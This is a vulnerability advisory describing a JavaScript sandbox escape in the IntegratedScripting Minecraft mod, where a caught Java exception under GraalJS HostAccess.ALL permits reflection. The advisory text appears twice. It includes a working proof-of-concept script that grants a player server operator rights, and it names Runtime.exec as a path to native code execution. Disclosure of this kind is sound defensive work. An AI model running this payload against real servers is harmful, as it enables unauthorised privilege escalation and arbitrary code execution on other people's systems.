Summary
By using Java reflection on a thrown exception object it's possible to escape the JavaScript sandbox for IntegratedScripting's Variable Cards, and leverage that to construct arbitrary Java classes and invoke arbitrary Java methods. This allows for arbitrary code execution on the server by any Minecraft player.
Details
IntegratedScripting attempts to constrain the guest code via the implicit invariant of only exposing "ValueTranslator" classes from https://github.com/CyclopsMC/IntegratedScripting/blob/29051aace619604fb5dd60624b72dba428fea2f2/src/main/java/org/cyclops/integratedscripting/evaluate/translation/ValueTranslators.java, which limits the proxy objects to IntegratedDynamics operator methods. This invariant is broken via throwing and catching an exception, with the caught exception object a native Java object and not a ValueObjectProxyObject. The GraalJS context that IntegratedScripting creates uses
|
.allowHostAccess(HostAccess.ALL) |
which is documented in
https://www.graalvm.org/sdk/javadoc/org/graalvm/polyglot/HostAccess.html#ALL as highly discouraged for projects evaluated untrusted code: as a result, using the native Java exception object, you can do a "traditional" Java reflection chain in order to call arbitrary Java methods on arbitrary Java classes.
PoC
An example script payload that demonstrates this bug is as follows, which gives an arbitrary player1 the operator server role:
let once = true
function showItem(i) {
if(!once){
return true
}
once = false
try {
// intentionally throw a type cast exception
idContext.ops.listGet(i, 1)
} catch(e) {
// e is a native Java exception object, which we can call unrestricted methods on
cls = e.getClass().getClass()
console.log(cls) // class java.lang.Class
meths = cls.getMethods()
forName = meths.filter(x => x.getName()=="forName" && x.getParameterCount()==1)[0]
console.log(forName) // public static java.lang.Class java.lang.Class.forName(java.lang.String) throws java.lang.ClassNotFoundException
server_hooks = forName.invoke(null, "net.neoforged.neoforge.server.ServerLifecycleHooks")
server = server_hooks.getMethod("getCurrentServer").invoke(null)
console.log(server)
player_list = server.getPlayerList()
target = server.getProfileCache().get("chc4").get()
player_list.op(target)
}
return true
}
Impact
This vulnerability allows for execution of arbitrary Java methods, and by extension arbitrary native code e.g. from java.lang.Runtime.exec, on the Minecraft server by any player with the ability to create and use an IntegratedScripting Variable Card.
Summary
By using Java reflection on a thrown exception object it's possible to escape the JavaScript sandbox for IntegratedScripting's Variable Cards, and leverage that to construct arbitrary Java classes and invoke arbitrary Java methods. This allows for arbitrary code execution on the server by any Minecraft player.
Details
IntegratedScripting attempts to constrain the guest code via the implicit invariant of only exposing "ValueTranslator" classes from https://github.com/CyclopsMC/IntegratedScripting/blob/29051aace619604fb5dd60624b72dba428fea2f2/src/main/java/org/cyclops/integratedscripting/evaluate/translation/ValueTranslators.java, which limits the proxy objects to IntegratedDynamics operator methods. This invariant is broken via throwing and catching an exception, with the caught exception object a native Java object and not a ValueObjectProxyObject. The GraalJS context that IntegratedScripting creates uses
IntegratedScripting/src/main/java/org/cyclops/integratedscripting/evaluate/ScriptHelpers.java
Line 46 in 29051aa
PoC
An example script payload that demonstrates this bug is as follows, which gives an arbitrary player1 the operator server role:
Impact
This vulnerability allows for execution of arbitrary Java methods, and by extension arbitrary native code e.g. from
java.lang.Runtime.exec, on the Minecraft server by any player with the ability to create and use an IntegratedScripting Variable Card.Footnotes
There are some corner cases with exploitation, where the Graal Java<->JavaScript translation triggers odd class loading errors on a dedicated server when attempting to access an instance of the ServerPlayer class, due to inheriting from Entity which uses Client-only classes depending on loaded context - but that is not a practical blocker for exploitation, and we can use a GameProfile here instead. ↩